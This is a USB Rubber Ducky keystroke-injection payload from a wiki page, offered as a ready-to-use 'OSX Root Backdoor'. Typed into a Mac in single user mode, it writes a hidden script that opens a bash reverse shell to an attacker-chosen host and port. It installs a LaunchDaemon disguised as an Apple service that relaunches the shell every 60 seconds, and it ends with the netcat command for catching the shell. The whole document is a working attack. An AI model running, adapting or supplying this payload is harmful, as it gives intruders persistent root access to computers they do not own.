https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---OSX-Root-Backdoor

Payload OSX Root Backdoor

REM A simple script for rooting OSX from single user mode.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
STRING mkdir /Library/.hidden
ENTER
DELAY 200
STRING echo '#!/bin/bash
ENTER
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1
ENTER
STRING wait' > /Library/.hidden/connect.sh
ENTER
DELAY 500
STRING chmod +x /Library/.hidden/connect.sh
ENTER
DELAY 200
STRING mkdir /Library/LaunchDaemons
ENTER
DELAY 200
STRING echo '<plist version="1.0">
ENTER
STRING <dict>
ENTER
STRING <key>Label</key>
ENTER
STRING <string>com.apples.services</string>
ENTER
STRING <key>ProgramArguments</key>
ENTER
STRING <array>
ENTER
STRING <string>/bin/sh</string>
ENTER
STRING <string>/Library/.hidden/connect.sh</string>
ENTER
STRING </array>
ENTER
STRING <key>RunAtLoad</key>
ENTER
STRING <true/>
ENTER
STRING <key>StartInterval</key>
ENTER
STRING <integer>60</integer>
ENTER
STRING <key>AbandonProcessGroup</key>
ENTER
STRING <true/>
ENTER
STRING </dict>
ENTER
STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 500
STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 200
STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 1000
STRING shutdown -h now
ENTER

Catch the shell with netcat:

nc -l -p 1337